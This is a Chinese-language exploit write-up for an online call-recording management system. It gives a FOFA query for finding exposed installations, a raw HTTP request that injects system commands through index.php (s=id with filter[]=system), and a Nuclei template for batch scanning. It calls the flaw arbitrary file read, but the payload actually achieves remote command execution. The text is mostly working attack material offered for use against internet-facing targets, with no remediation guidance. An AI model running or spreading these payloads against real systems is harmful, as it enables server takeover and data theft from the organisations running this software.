漏洞简介    

        申瓯通信设备有限公司在线录音管理系统 index.php接口处存在任意文件读取漏洞，恶意攻击者可能利用该漏洞读取服务器上的敏感文件，例如客户记录、财务数据或源代码，导致数据泄露

一.复现过程

fofa搜索语句:title="在线录音管理系统"

1.我们打开burp 进行抓包 把下面的数据包替换成这个 响应命令的执行结果

POST /callcenter/public/index.php/index.php?s=index/index/index HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-type: application/x-www-form-urlencoded
Cache-Control: no-cache
Pragma: no-cache
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 62

s=id&_method=__construct&method=POST&filter[]=system

然后是这样 就成功了

二批量脚本

id: LYXT-index-RCE

info:
  name: 申瓯通信设备有限公司在线录音管理系统-RCE-index.php
  author: WLF
  severity: high
  metadata: 
    FOFA: title="在线录音管理系统"
    Hunter:   
variables:
  filename: "{{to_lower(rand_base(5))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /callcenter/public/index.php/index.php?s=index/index/index HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
        Content-type: application/x-www-form-urlencoded
        Cache-Control: no-cache
        Pragma: no-cache
        Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
        Connection: close
        Content-Length: 62

        s=echo Hello World!&_method=__construct&method=POST&filter[]=system



    matchers:
      - type: dsl
        dsl:
          - contains_all(body,"Hello World!")